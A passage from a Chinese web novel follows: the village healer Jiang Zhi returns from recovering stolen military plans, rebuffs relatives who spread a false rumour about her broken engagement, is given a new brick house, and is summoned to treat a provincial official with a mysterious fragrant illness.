陆向东……你这个家伙,到底是从哪儿捡来的这么一个神仙未婚妻啊! “着……着地了!” 终于,李老根的双脚踩到地面,他腿一软,差点直接跪倒在地。 姜芷解开腰间的绳索,身影轻盈,顺着崖壁上凸起的岩石和藤蔓,三两下就跳了下来,稳稳落地。 月光下,她的小脸一片苍白,额上布满汗珠,唯独那双眼睛,亮得惊人。 “走,回村。” 她没有一句废话。 上前迅速检查了一下刘勇的伤口,确认没有二次撕裂后,便直接架起了他的一条胳膊。 李老根也从巨大的冲击中回过神,连忙上前架起另一边。 三道蹒跚的身影,一瘸一拐,深一脚浅一脚地,消失在无边无际的漆黑密林中。 回去的路,比来时更加漫长。 李老根和刘勇的脑子里,还在一遍遍地回放着下午那魔幻的一幕。 一群穷凶极恶的悍匪,哭爹喊娘,疯疯癫癫。 一群狂暴嗜血的野猪,纪律严明,精准打击。 这画面,太他娘的上头了! …… 当三个人影终于出现在红星大队村口时,已经是后半夜。 他们没有回家,而是径直扑向大队长赵大山的家。 “砰!砰!砰!” 李老根狠狠砸响了赵大山家的木门。 “谁啊!大半夜的闹什么丧!” 赵大山骂骂咧咧的声音从屋里传来。 门“吱呀”一声拉开,他披着件破褂子,睡眼惺忪地探出头。 当他看清门口三人时,魂儿都吓飞了,瞌睡虫跑得一干二净! “李……李老根?芷丫头?这……这位同志是?” “别废话了!快让我们进去!” 李老根吼了一声,和姜芷一起,半拖半架地把刘勇弄进了屋。 赵大山家的堂屋里,豆大的煤油灯火光,映照着三张苍白的脸。 “出……出大事了?”赵大山倒了三碗温水。 “何止是出事了!天都塌下来了!” 李老根灌了一大口水,抹了把脸,开始说叨。 “赵大山,我跟你说,你可能不信……” 然后把今天发生的一切,竹筒倒豆般全说了出来。 从遭遇野猪王,到发现脚印,再到崖顶对峙,最后讲到姜芷惊天地泣鬼神的两包药粉…… 他讲得口沫横飞,手舞足蹈,仿佛又回到了那个现场。 赵大山一开始还听得津津有味,听到后面,嘴巴越张越大,眼睛越瞪越圆,最后整个人都傻了。 “……然后,‘轰’的一下!那群猪就跟疯了似的,直冲那帮王八蛋去了!那场面,啧啧……比过年杀猪还热闹!那帮人,连根骨头渣子都没剩下!” 李老根讲完,端起碗,“咕咚咕咚”喝了个底朝天,打了个嗝。 赵大山愣了半天。 “李老根,你……你是不是上山被黑瞎子拍了脑袋,搁这儿说胡话呢?” 一包药粉,能让人活见鬼? 又一包药粉,能让野猪当清道夫? 你他娘的怎么不说芷丫头是天上下凡的九天玄女呢?! 这比县里说书的还能编! “我说的都是真的!句句属实!”李老根急了。 “啪”的一声。 他直接把从那伙人身上收缴来的几把手枪,重重拍在桌上。 黑洞洞的枪口,在昏黄的灯光下泛着森冷的光。 赵大山倒吸一口凉气,屁股像被针扎了似的,猛地站了起来。 他终于信了。 “这…这东西赶紧收起来。” 他在屋里惊恐地来回踱步,嘴里不停念叨着。 特务! 枪战! 军事图纸! 这些只在广播和报纸上才能听到的词,今天居然活生生地发生在了自己眼皮子底下! 他停下脚步,满眼后怕地看着从头到尾都异常平静的姜芷。 “丫头……你……” “队长,现在不是说这些的时候。” 姜芷打断他,指了指虚弱的刘勇,“他需要立刻被送走治疗,东西也要马上上交,这事,一分钟都不能耽搁。” “对!对对对!” 赵大山如梦初醒,一拍脑门,转身就往外冲。 “我去公社!用那里的电话联系部队!你们等着!” 夜色中,赵大山的身影,跑得比兔子还快。 一个多小时后。 “呜——呜——” 一辆军用吉普车开着大灯,直接冲到了大队部门口。 车门推开,几个荷枪实弹的军人一跃而下,为首的是一个肩膀上扛着闪亮将星的领导。 整个红星大队的狗,都疯了似的狂叫起来。 无数人家的窗户亮起了灯,村民们探头探脑,不知道发生了什么惊天动地的大事。 那位领导在赵大山的带领下,疾步冲进屋子。 当他看到虚弱的刘勇和桌上那个油布包时,一个铁血军人的眼眶,瞬间就红了! “刘勇!你小子还活着!” 他冲过去,紧紧握住刘勇的手,又拿起油布包,颤抖着打开看了一眼,激动得浑身发抖。 “好!好啊!图纸找回来了!” 他这才转过身,无比感激望向姜芷。 “姜芷同志!是您……救了我的兵,夺回了图纸?” 姜芷满脸疲惫,轻轻点了点头。 那位领导猛地挺直了腰板,行了个标准的军礼! “我代表组织,代表人民,感谢您!姜芷同志!您又一次为国家立下了汗马功劳!” 李老根站在旁边,看着这震撼人心的一幕,激动得热泪盈眶,腰杆挺得笔直,仿佛受礼的是他自己。 这福气,太大了! 姜芷却只是平静地回了一句:“应该的。” 然后,她控制不住地打了个哈欠,揉了揉发涩的眼睛。 “那个……领导,要是没什么别的事,我就先回去睡觉了,真的好困。” 领导:“……” 李老根:“……” 刚被抬上担架的刘勇:“……” 这泼天的富贵,天大的功劳,她怎么说得……跟出门遛弯顺手捡了斤白菜一样轻松? 第27章 只想回家睡觉 领导走了。 吉普车带着轰鸣声和一屁股尾气,消失在漆黑的夜色里。 赵大山家的堂屋里恢复平静。 李老根还像一杆标枪似的挺着腰杆,脸上的红光还没褪去,嘴里仍在回味着刚才的荣光。 赵大山则彻底傻了。 他呆滞地看看门外,又看看那个一脸困倦的身影。 他的世界观,在今晚,被这个小丫头按在地上,用脚底板来来回回碾了八百遍。 特务。 图纸。 立大功。 还是“又一次”! “丫头……你……” 赵大山嗓子眼发干,半天才憋出一句话。 “刚才那位领导说,你又立功了……那个‘又’字是啥意思?” 姜芷掀起眼皮看了他一眼,有气无力地摆摆手。 “哦,就上次去山里采药,顺手帮陆向东抓了个特务而已。” 赵大山:“……” 李老根:“……” 顺……顺手? 你管那个叫顺手? 那我们这些老少爷们,平时下地干活,岂不是在玩泥巴? “走了,回家睡觉。” 姜芷懒得再解释,晃晃悠悠地就往外走。 她现在只想一头扎进被窝里,睡他个天昏地暗。 “哎!丫头!我送你!我送你!” 赵大山一个激灵回过神,赶紧抄起桌上的煤油灯追了出去。 李老根也二话不说,紧紧跟上。 三个人走在寂静的村道上,夜风一吹,赵大山和李老根才感觉后背凉飕飕的。 今晚的事,太他娘的吓人了! “李老根,”赵大山压低了声音,跟做贼似的,凑到他耳边,“你说……那群猪,真的把那伙人给……给……” 他比了个“咔嚓”的手势。 “那还能有假!”一说起这个,李老根就来劲。 “你是没瞧见那场面!野猪王一声吼,黑压压的一片就冲过去了!” “那帮孙子,叫得比杀猪还惨!” 赵大山听得牙根发酸,浑身一哆嗦,下意识地离旁边云淡风轻的姜芷远了两步。 惹不起。 这丫头,以后就是红星大队的祖宗,得供起来! …… 姜芷家的小院门口。 屋里那盏昏黄的煤油灯,还亮着。 赵秀娥一夜没睡,正坐在炕沿上,双手合十,嘴里念念有词,不住地抹眼泪。 当院门“吱呀”一声被推开,赵秀娥整个人都僵住了。 “芷……芷儿?” 她声音颤抖,看着姜芷满身泥污,衣服上还沾着暗红色血迹,眼泪“唰”的一下就涌了出来。 “我的老天爷啊!你这是……这是怎么了!” 赵秀娥连忙从炕上下来,一只鞋都跑掉了。 光着脚就冲过来一把抱住姜芷,双手颤抖着在她身上疯狂检查。 “你伤哪儿了?是不是被野兽咬了?你跟娘说啊!你别吓娘啊!” “娘,我没事。” 姜芷任由她检查,累得连话都不想多说。 “就是有点累。” “这叫没事?” 赵秀娥看到她腰间和手腕上被绳子勒出的道道血痕,心如刀绞。 “秀娥妹子,你别急!芷丫头没事!她好着呢!” 赵大山提着灯笼走进来,李老根也跟在后面。 “大队长?”赵秀娥愣住了,“你们这是……” “秀娥妹子,我跟你说,你可能不信。” “芷丫头她,今天进山,不光采了药,还……还顺手端了一个特务的老窝!” 赵秀娥:“啊?” 李老根在旁边猛点头,抢过话头,唾沫横飞。 “不止!她还收服了鬼见愁的野猪王!就那么一包药粉撒出去,那畜生就跟听懂了人话似的,带着上百头猪,把那群王八蛋给拱了!” “那场面,血流成河啊!” 赵大山不甘示弱地补充:“最后,部队都来人了!一个肩膀上扛着星星的大领导,亲自给咱们芷丫头敬礼!说她又给国家立了大功!” 赵秀娥听得是云里雾里,脑袋发懵。 她看看一脸激动的赵大山,又看看手舞足蹈的李老根,最后把目光投向自己的女儿。 特务? 野猪王? 大领导? 这俩人,是不是喝多了,搁这儿说胡话呢? “娘,别听他们瞎说。” 姜芷终于缓过来一口气,淡淡地打断了两人。 “就是进山,遇到几个坏人,打了一架,我赢了。” 赵大山:“...” 李老根:“...” “总之,人没事就好,没事就好……” 赵秀娥拍着胸口,还是心有余悸。 只要女儿平平安安的,比什么都强。 “对了,娘。” 姜芷从贴身的衣兜里,掏出那个用好几层干净手帕,包裹得严严实实的木盒。 她当着三人的面,缓缓打开。 “嗡——” 一股奇异药香,瞬间飘满小屋。 “这……这是什么蘑菇?” 赵秀娥结结巴巴地问,她活了半辈子,从没见过这么好看的东西。 “血灵芝。”姜芷笑了笑,“百年难遇的宝贝。” “这玩意儿能救命...” 她顿了顿,又补充了一句赵秀娥最能听懂的话。 “也能,换好多好多的钱。” 赵大山和李老根已经看傻了。 他们不懂什么血灵芝,但他们不瞎! 就这卖相,拿到县里去,不得换回一辆崭新的永久牌自行车啊! “行了,夜深了,赵叔,李叔,你们也快回去歇着吧。” 姜芷下了逐客令。 赵大山和李老根连连点头,晕晕乎乎地走了。 今晚发生的一切,够他们吹一辈子了! 等人都走了,屋里终于安静下来。 赵秀娥烧了热水,仔细给姜芷清洗伤口,擦了身体,又换了干净的衣服。 姜芷一沾到枕头,连一秒钟都没撑住,就沉沉睡去。 …… 第二天,天光大亮。 红星大队,炸锅了! “听说了吗?昨晚半夜,部队的车开到咱们村了!” “真的假的?我昨晚是听见狗叫得厉害!” “是真的!我三舅家的小子起夜,亲眼看见的!车就停在赵大山家门口,下来好几个当兵的,都扛着枪呢!” “我的妈呀!这是出啥大事了?” 村里的长舌妇们,一大早就聚在村口的大槐树下,交换着情报,一个个说得是神神秘秘,唾沫横飞。 而作为风暴中心的姜家,却一无所知。 “砰!砰!砰!” 一阵急促的砸门声,将还在睡梦中的赵秀娥惊醒。 谁啊? 大清早的,这么没礼貌! 她揉着眼睛下地,趿拉着鞋去开门。 门一打开,外面站着的是大房李翠花。 李翠花一见她,也顾不上寒暄,劈头盖脸就问:“秀娥!姜芷那死丫头呢!快叫她出来!” 她身后,还跟着她的宝贝儿子姜宝根。 母子俩脸上幸灾乐祸。 赵秀娥被她这态度搞得一愣:“大嫂,你找芷儿什么事?” “什么事?好事!”李翠花叉着腰,嗓门提得老高,生怕全村人听不见。 “我问你,姜芷是不是跟陆向东那个军官,把婚事给退了?” 第28章 不作死就不会死 赵秀娥被李翠花这没头没脑的一嗓子,吼得愣在原地。 退婚? 芷儿和陆同志不是好好的吗? “大嫂,你……你瞎说什么呢?” “我瞎说?”李翠花把腰一掐,那双三角眼刻薄地上下打量赵秀娥,嗓门吊得跟大喇叭似的。 “全公社都传遍了!说陆向东同志,要娶县里王主任家的千金了!” 她故意拉长了音调。 “人家那可是正儿八经的城里姑娘!吃商品粮的!跟咱们这泥腿子,那是一个天上,一个地下!” 她身后的姜宝根也学着他娘的样子,挺起了滚圆的大肚子,同情地看着赵秀我。 “三婶,你也别太难过了。我娘说了,这人啊,就得有自知之明。不是自己的福气,硬抓着,那是要遭报应的!” 母子俩一唱一和,那副小人得志的嘴脸,看得人牙痒。 院子外,早就被这动静吸引过来的村民们,开始窃窃私语。 “真的假的?陆同志要娶别人了?” “八成是真的!你看李翠花那得意的样儿!肯定是有准信儿!” “唉,可惜了,芷丫头多好个人啊,就这么被抛弃了……” 赵秀娥听着这些话,一张脸涨得通红,又急又气。 “你们……你们胡说!芷儿她……” “我怎么了?” 一道清清冷冷,还带着几分慵懒睡意的声音,从屋里传了出来。 众人齐刷刷回头。 只见姜芷披着件外套,睡眼惺忪地倚在门框上。 她刚睡醒,一头乌黑的长发还有些凌乱地披散着,非但不显狼狈,反而平添了几分说不出的娇憨。 李翠花一见她这副模样,更来劲了! “呦!正主出来了!姜芷,我问你,是不是你那狐媚子手段不灵了,被人给踹了?” “你说你,放着好好的军官太太不当,非要作天作地,现在好了吧?煮熟的鸭子飞了!” 李翠花越说越兴奋,唾沫星子都快喷出来了。 姜芷打了个长长的哈欠,揉了揉眼睛,这才慢悠悠地从屋里走了出来。 “哦。” 她就回了一个字。 “你……你这是什么态度!” “不然呢?”姜芷抬起困倦的眼皮看了她一眼,“人家结婚,是喜事。我总不能哭吧?那多不吉利。” “你……”李翠翠花指着她,气得发抖,“你个死丫头!你装!你继续给我装!” “我敢打赌,你现在心里,肯定苦得跟吃了黄连似的!” 这边的动静太大,老宅那边的人也被惊动了。 姜老太拄着拐杖,在王桂香和姜巧巧的搀扶下,也“恰好”赶了过来。 “哼!这么好的婚事,就这么作没了!”姜老太阴沉着脸,拐杖在地上重重一顿,“我们老姜家的脸都让你丢尽了!” 王桂香则掩着嘴,和姜巧巧交换了一个幸灾乐祸的眼神,阴阳怪气地开口。 “哎呦,妈,您就别说她了。人家现在是小神医,心气儿高着呢。” “就是,”姜巧巧接话,“也不撒泡尿照照自己什么德行,陆大哥那种人中龙凤,怎么可能真看得上她。当初不过是可怜她罢了。” “娘,你跟她废什么话!”姜宝根在一旁不耐烦地催促,“赶紧把正事办了!我还等着回家吃饭呢!” 李翠花这才想起今天来的主要目的。 她清了清嗓子,摆出一副悲天悯人的长辈架势。 “姜芷啊,你也别太伤心。虽然陆同志不要你了,但咱们到底是一家人,大伯母也不能看着你没人要。” “这样吧,我托人给你物色了个好人家!” 她拔高了音量,确保所有人都能听见。 “城里肉联厂的,死了老婆,带俩娃。虽然年纪大了点,长得丑了点,但人家是正式工!你嫁过去,下半辈子吃喝不愁!” “你看,大伯母对你好吧?这福气,别人想要还没有呢!” 这话一出,院外的村民们都忍不住倒吸一口凉气。 一个如花似玉的黄花大闺女,介绍给一个带俩娃的半大老头子当后妈? 这哪是介绍亲事,这分明是往火坑里推啊! 王桂香立刻捂着嘴笑起来:“哎呦,大嫂,你这可真是菩萨心肠。巧巧,你看看,你大伯母多疼你堂姐。” 姜巧巧撇着嘴,满脸鄙夷:“什么锅配什么盖,我看挺合适的。” 赵秀娥气得眼都红了,浑身发抖,猛地就要冲上去跟她拼命。 “李翠花!你个黑了心的烂货!你安的什么心!” “娘。” 姜芷一把拉住她,轻轻摇了摇头。 然后,她看向李翠花,忽然笑了。 那笑容,清清淡淡,却让李翠花没来由地打了个哆嗦。 “大伯母,你说的这福气,确实挺好。” 李翠花一愣,以为她想通了,脸上露出得意的笑。 “那可不……” “既然这么好,”姜芷的笑容更深了,转向了一旁的姜巧巧,“这福气,不如留给姜巧巧吧。” “毕竟,她也快到说亲的年纪了。让她嫁到城里当后妈,总比在咱们村的猪圈里掏大粪,要体面得多。” “噗——” 人群中,不知谁先没忍住,笑了出来。 紧接着,就是一片哄堂大笑。 王桂香的脸瞬间涨成了猪肝色。 “你!你个小贱人!你敢咒我女儿!” 姜巧巧更是气得浑身发抖,一张脸青白交加,死瞪着姜芷,恨不得用眼神杀了她。 就在这时! “都干什么呢!一大早的,聚在这里开大会啊!” 一声中气十足的暴喝,从人群外传来。 众人回头,只见大队长赵大山黑着一张铁青的脸,大步流星地走了过来。 他身后,还跟着村里的邮递员。 “大队长!”李翠花恶人先告状,“你可来了!你快管管这死丫头!她……” “你给我闭嘴!” 赵大山看都没看她,径直走到姜芷面前,脸上的怒气瞬间化为和蔼可亲。 “芷丫头,醒了?昨晚没吓着吧?叔给你拿了十个鸡蛋,给你补补身子!” 李翠花和姜宝根都看傻了。 姜老太一家也愣住了。 这……这是什么情况? 赵大山把一篮子鸡蛋塞到赵秀娥手里,然后才猛地转过身,冷冷地瞥了一眼李翠花。 “我刚才在路上,都听见了。” “李翠花,我问你,谁告诉你陆同志要娶别人的?” “我……我听我娘家侄子说的!他在公社有门路!”李翠花还梗着脖子。 “有门路?”赵大山冷笑,“我看他是有门路上西天吧!” 他的声音陡然拔高! “我告诉你!就在昨天晚上!部队的大领导,开着吉普车,亲自来咱们村,就是为了感谢芷丫头!” “为什么感谢?” 赵大山环视一圈,声如洪钟! “因为芷丫头,冒着生命危险,从特务手里,夺回了咱们国家最重要的军事图纸!” “她,是咱们红星大队的英雄!是国家的大功臣!” 这一番话,在所有人头顶炸开! 李翠花和姜宝根,脸色“唰”的一下就变了! 特务? 军事图纸? 大功臣? 这……这怎么可能! 赵大山根本不给他们反应的时间,继续加码,声音一声比一声响! “还有!人家陆向东同志,非但没退婚,昨晚那位领导还亲口说了,陆同志对咱们芷丫头,那是宝贝得不得了!” 他猛地一指李翠花。 “你李翠花,在这里造谣生事,污蔑一个军官的未婚妻,诋毁一个国家的大功臣!你说说,你安的什么心?!” “你这是思想有问题!你这是破坏军民团结!你这是站在人民的对立面!” “你们母子俩,是想挨批斗大会啊!” 一顶接一顶的大帽子,扣了下来! 李翠花腿一软,“扑通”一声,瘫坐在了地上! 姜宝根更是吓得浑身颤抖,一股骚臭味,从他裤裆里隐隐传来。 “我……我没有……我不是……” 李翠花语无伦次,吓得魂飞魄散。 “姜芷同志,这是一封从部队寄给你的信!” 邮递员适时地递上一个厚厚的牛皮纸信封。 姜芷在万众瞩目下,接过信,撕开。 里面没有信纸。 只有一本有些陈旧泛黄的医书——《金匮要略注解》。 书里,还夹着一张小小的纸条。 上面是陆向东笔走龙蛇,力透纸背的三个字。 等我回。 姜芷看着这三个字,内心突然被触动了一下。 她抬起头,目光越过呆若木鸡的众人,看向瘫软的李翠花,淡淡地开口。 “大伯母,你说的那份福气,还是你自己留着吧。” “我福薄,受不起。” 第29章 大队盖新房,见光死病人 赵大山黑着脸,往前一步。 “李翠花!” “你造谣军属,污蔑国家功臣,这事儿没完!” “我现在就去摇铃铛开全村大会!” “你和你这宝贝儿子,必须当着所有社员的面,给我写一份一万字的深刻检讨!” 赵大山的声音一句比一句狠。 “说不清楚,认识不明白,就给我滚去猪圈,陪姜巧巧作伴去!” 一万字的检讨! 还要去掏猪粪! “噗通!” 一声闷响。 姜宝根两眼一翻,活生生被吓晕了过去! 这下,彻底捅了马蜂窝! 李翠花眼前阵阵发黑,差点跟着儿子一起昏死过去。 “我的儿啊!” 她嚎叫一声,连滚带爬地扑到她那宝贝儿子身上,又掐人中又捶胸口。 她彻底怕了,一把抱着赵大山的大腿,哭得鼻涕眼泪糊了一脸。 “大队长!我错了!我真的错了!” “我就是猪油蒙了心,我就是个烂了心肝的黑心肠!我嘴贱!我该死!” 她一边说,一边狠狠地抽着自己的嘴巴子。 “啪!啪!” 又脆又响。 “求求您,您大人有大量,就饶了我这一回吧!” 周围的村民们,满脸鄙夷和厌恶。 “呸!真是晦气!差点让这婆娘害了咱们全村!” “就是!芷丫头可是咱们村的福星!她要是被气跑了,咱们找谁说理去!” “活该!让她去掏猪粪!让她也尝尝那销魂的滋味!” 墙倒众人推,鼓破万人捶。 刚才还跟李翠花站在一起,看热闹不嫌事大的几个长舌妇,这会儿一个个义愤填膺,骂得比谁都大声。 姜芷看着这出闹剧,只觉得吵闹。 她拉着还在发懵的赵秀娥,转身进屋。 “娘,关门。” “砰”的一声,老旧的木门合上,将院子外所有的喧嚣和丑态,都隔绝在外。 世界,终于清净了。 屋里,赵秀娥还像在做梦。 她看看桌上那篮子黄澄澄的鸡蛋,又看看女儿手里那个厚厚的牛皮纸信封。 “芷……芷儿……那……那信上,陆同志他……” “他没退婚。” 姜芷把那本《金匮要略注解》放在桌上,又将那张小纸条,递到了母亲眼前。 赵秀娥不识字,但她看得懂那三个字写得有多用力。 赵秀娥的心,一下子就落回了肚子里。 她抬起头,眼眶红红地看着自己的姜芷。 既骄傲,又心疼。 “芷儿,你……” 她想问,你怎么会懂那么多? 你什么时候变得这么厉害了? 可话到嘴边,都变成了一句哽咽。 “饿了吧?娘给你去做饭。” 千言万语,不如一碗热腾腾的饭菜。 姜芷看着母亲在灶台边忙碌的背影,眼底的清冷,悄然融化。 她轻轻抚摸着那本《金匮要略注解》的封面。 这本书,是她前世的启蒙医书,是爷爷手把手教她读的第一本典籍。 陆向东…… 他竟然能找到这本书,千里迢迢地送到了自己手上。 还真是,巧了。 …… 李翠花母子最终还是没能逃过写检讨的命运。 赵大山说到做到,亲自监督,让两人站在村口的大槐树下,对着全村老少,念了足足一个钟头的检讨。 自此,姜家大房的人,在村里走路都得贴着墙边,彻底成了过街老鼠。 而姜芷,成了红星大队谁也不敢招惹的“特殊人物”。 开完大会,赵大山骑着他那辆除了铃铛不响哪都响的二八大杠,一路火花带闪电地冲到了公社。 办公室里,陈支书听完赵大山绘声绘色的描述,重重一拍桌子! “胡闹!” “这姜家老宅的人,简直就是一窝拎不清的糊涂蛋!” “芷丫头现在是什么身份?是咱们公社,乃至咱们县的宝贝疙瘩!她立下的功劳,是能上报到军区的大功!” “她要是受了委屈,寒了心,被这帮极品亲戚给气跑了,那是我们所有人的损失!” 赵大山连连点头,愁眉苦脸。 “支书,我也是这么想的。所以才来找您拿个主意,总不能让咱们的功臣,一直住在那个破烂的小偏房里,天天被那群苍蝇盯着吧?” 陈支书在屋里来回踱步,最后猛地停下。 “必须给她盖个新房子!” “就用公社和咱们大队的名义,给她盖个青砖大瓦房!地基就选在村东头那块向阳的空地,离老宅远远的!” “这是组织对功臣的奖励!我看以后谁还敢上门去找不痛快!” “好!”赵大山激动得一拍大腿,“我这就回去安排人手!” ... 经过李翠花母子俩的闹腾。 村里人如今看姜芷的眼神,都变了。 走在路上,老远看到她,人们都会下意识地低下头,给她让路。 再也没有人敢在她背后嚼舌根。 就连平时最大胆的熊孩子,看到她,都会立刻收起弹弓,乖乖地喊一声“姜芷姐好”。 姜芷对此,乐得清静。 她每日的生活,又恢复了平静。 看看病,换点工分和票据。 炮制从深山带回来的珍稀药材。 每日还会雷打不动地去一趟村西头的李老根家,用推拿和汤药,为他调理十几年的陈年旧伤。 这是她许下的承诺。 李老根的婆娘,每日都把她当活菩萨一样供着。 当然,最重要的,还是用血灵芝的边角料,配上各种珍贵药材,给自己和母亲熬制调理身体的药膳。 不过短短半个月,她自己的气色完全红润起来。 赵秀娥花白的头发根,也隐隐有了转黑的迹象,脸上的皱纹淡了,像换了个人。 这天下午,公社的陈支书,陪着赵大山亲自登了门。 赵秀娥看到领导,手脚都不知道该往哪儿放,紧张地搓着衣角。 赵大山脸上是压不住的喜色,声音洪亮。 “芷丫头啊,我和陈支书商量过了。” “你为村里,为国家,都立了大功!我们不能让你和秀娥妹子,还继续住在这漏风的泥坯房里受委屈!” 陈支书笑着点头,接过了话头。 “公社特批了砖瓦水泥!大队出人手!就在村东头那片最向阳的空地上,给你们娘俩,盖三间敞亮气派的青砖大瓦房!” 轰——! 赵秀娥的脑子,像是被炸开了一样。 青砖大瓦房? 那是她这辈子连做梦都不敢想的事情! 她一辈子受苦受累,住的都是家里最差的偏房,漏风漏雨,冬冷夏热。 可现在,领导却说,要给她和女儿盖新房子! 还是全村都羡慕的青砖大瓦房! 姜芷扶住母亲微微颤抖的肩膀,看向两位领导,神色平静。 “这太破费了。” “不破费!一点都不破费!” 赵大山把手一挥,生怕她拒绝似的,赶紧说道。 “芷丫头,你可千万别推辞!地基今天上午就已经动工开挖了!” “这是组织的心意,也是全村人的心意!你要是不要,以后村里人谁还好意思上门找你看病?大家会觉得,欠你的情,一辈子都还不清了!” 这话,说到了点子上。 姜芷明白了。 这房子,不仅仅是一个奖励。 更是一道护身符,一个彻底将她和姜家老宅那群人划清界限的标志。 有了这层官方盖章的身份,以后谁想来找麻烦,都得先掂量掂量自己的分量。 她不再矫情,坦然点头。 “好,那我就收下了。” “多谢陈支书,多谢赵叔。” 赵秀娥看着女儿平静淡然的样子,心中的激动和酸楚翻涌,眼泪流得更凶了。 她的芷儿,真的长大了,能撑起这个家了。 赵大山和陈支书心满意足地走了。 没过一会儿,院门口,忽然传来一阵急促的鸣笛声。 “嘀——嘀——!” 紧接着,一个气喘吁吁的声音在门口响起。 “请问……请问,姜神医是在这里吗?” 姜芷走屋里走出来,微微眯眼看去。 只见一辆黑色的上海牌轿车,正停在自家院门外。 车旁站着两个男人。 一个穿着的确良衬衫,戴着眼镜的年轻人,一脸焦急。 另一个则是穿着中山装,神情严肃,一看就是给领导开车的专职司机。 “我就是。”姜芷淡淡地应道。 那年轻男人一听,眼睛就亮了。 他三步并作两步地冲了进来,语无伦次。 “姜神医!您可算找到了!我叫刘斌,是县医院的王建国医生派来的!” 王建国? 姜芷挑了挑眉。 第30章 鬼闻香 刘斌脸色凝重,凑近一步,压低声音。 “是省里下来,主管基建和文教卫生的曹主任!” “因为这个病,整个县城的领导都急疯了!” “王医生也是实在没办法了,他说,西医的路已经走到头了,只有……您这位神医,才能创造奇迹!” 他说完,哀求着姜芷。 这不仅仅是救一个人。 这要是救不回来,整个县的领导班子,都要跟着吃不了兜着走! 赵秀娥在一旁听得心惊肉跳。 领导! 还是省里来的大领导! 这要是治好了还好,要是治不好,那不是要把天都给捅破了! “芷儿!听娘的!咱不去!咱惹不起!”她急得眼泪都快下来了。 姜芷却像是没听到母亲的话。 眼里非但没有恐惧,反而带着兴奋。 这种闻所未闻的疑难杂症,对她而言,充满吸引力。 “走吧。” 她转身,淡淡地吐出两个字。 “真的?”刘斌惊喜,“太感谢您了!车就在门口!随时可以走!” “芷儿!”赵秀娥一把拽住她,“你真要去?” “娘,我是医生。” 姜芷回过头,看着自己的母亲。 “医生的天职,就是救死扶伤。” “不管他是大人物,还是普通人。” “在我眼里,他都只是一个病人。” 说完,她转身回屋,开始利索地收拾自己的那个帆布药包。 银针包,药瓶,药粉…… 她甚至从一个上了锁的小木盒里,用银勺刮了一点点血红色的粉末,用油纸包好,贴身放了起来。 赵秀娥叹了口气,知道自己劝不住。 只能给她往水壶里灌满热水,又把几个煮鸡蛋,塞进她的口袋里。 很快,姜芷要被县医院用小汽车接走,又要去给省里来的大人物治怪病的消息,传遍了整个红星大队。 刚刚动工挖地基的社员们,都停下了手里的活计,一个个伸长了脖子往村口瞧。 在猪圈里打扫的姜巧巧,听到这个消息,嫉妒得把手里的粪瓢都给捏断了。 姜家老宅里,刚刚因为“青砖大瓦房”而气得半死的姜老太,此刻更是气得浑身发抖,差点一口气没上来。 羡慕嫉妒恨啊! 赵大山也闻讯赶了过来,既骄傲又担忧。 “芷丫头,有把握吗?” “叔,你什么时候见我打过没把握的仗?”姜芷反问。 赵大山一想,也是。 这丫头,就从来没让人失望过。 他重重地点了点头,拍着胸脯保证:“你放心去!家里有我!新房子的事,我亲自给你盯着!保证给你盖得全县最敞亮!” 姜芷在那位司机拉开后车门后,平静地坐了进去。 刘斌也连忙坐上副驾驶。 就在汽车刚发动时,他像是突然想起了什么,猛地一拍自己的脑袋。 “哎呀!你看我这记性!” “姜神医,王医生还交代了一句话,我给忘了!” “说。”姜芷的声音,从后座传来。 刘斌连忙回头,神色紧张:“王医生说,曹主任之前身体极好,什么毛病都没有!” “他这个怪病,是半个月前,去了一趟咱们县南边的黑风岭老林子,回来之后,才突然得的!” 黑风岭? 姜芷的眉梢轻轻一挑。 “王医生还说,最最奇怪的是……” “自从他病了之后,他那屋子里,就一直飘着一股……一股特别好闻的味儿!” “那股味儿,香得有点邪乎!” 姜芷靠着车窗,神色平静,脑子却在飞速运转。 见光则烂,见风则倒。 畏光,抽搐,皮肤溃烂,精神错乱。 这些症状,单个拎出来,不算稀奇。 可凑在一起,就透着一股子邪性。 再加上两个最关键的线索:禁地黑风岭,以及那股邪门的香味。 黑色的上海牌轿车,在坑坑洼洼的土路上颠簸前行。 车厢里,气氛压抑。 司机绷着脸,刘斌坐立不安,时不时回头看一眼后座。 “黑风岭……是个什么地方?” 姜芷突然开口。 刘斌一个激灵,赶紧回头。 “姜神医!那地方邪乎得很!是咱们县南边一片没开发过的原始森林,老人都说里面有山魈鬼怪,活人进去就出不来!” “那这位曹主任去那做什么?” “说是……考察植物资源。”刘斌的声音压得极低,带着一丝后怕,“结果,植物没考察出来,自己先折进去了。” 植物…… 姜芷的眸光微动。 “那股香气,”她追问,“像花香?果香?还是庙里的檀香?” 刘斌的脸皱成了苦瓜。 “都不是!那味儿……特别霸道!闻着是香,可多闻一会儿,就头晕眼花,骨子里发毛!” “王医生他们把屋子翻了个底朝天,什么都没找到!可那味儿,就像是从墙壁缝里长出来的一样,怎么都散不掉!” 姜芷的指尖,在膝盖上轻轻敲击着。 无根之香,遇之不祥。 她前世在一本医道孤本上见过记载。 某些夺命的奇毒,从不通过口鼻,而是将其香气化作无形的利刃,直接侵入五脏六腑,腐蚀气血经络。 杀人于无形,比鹤顶红、断肠草之流,要阴毒百倍。 有意思。 …… 一个多小时后,轿车终于冲进了县医院,绕开门诊大楼,径直驶向后方一栋被森严守卫的独立招待所。 三步一岗,五步一哨。 几个中山装干部在楼下焦躁地踱步,看到车来,立即围了上来。 刘斌连滚带爬地跳下车:“王医生!我把姜神医请来了!” 人群中,王建国猛地冲了出来。 这位曾经意气风发的留洋派西医,此刻眼窝深陷,布满血丝,头发乱如鸡窝,白大褂皱得像一团咸菜。 他看到姜芷,两眼放光。 “姜……姜同志!你可算来了!” 他一个箭步上前,想去握姜芷的手,可手伸到一半,又触电般缩回,在自己那脏兮兮的白大褂上使劲擦了擦。 那恭敬又忐忑的样子,让周围的干部们都看傻了。 这就是王建国口中能“创造奇迹”的神医? 一个看起来还没成年的乡下丫头? “王医生,这位莫非就是……”一个地中海发型的干部皱起眉。 “咳咳!”旁边,一个戴着金丝眼镜、派头十足的省城老专家,重重地咳了两声。 “小王,简直是胡闹!” 他推了推眼镜,上下扫视姜芷。 “曹主任的情况有多危急,省专家组都束手无策!你怎么能把希望,寄托在一个连行医资格证都没有的赤脚医生身上?!” “出了问题,这个责任,你担得起吗?!” “孙教授!”王建国急得脖子都红了,“中医的玄妙,您根本不懂!姜同志的医术,我亲眼所见,她……” “行了。” 姜芷淡淡地开口,打断了两人的争执。 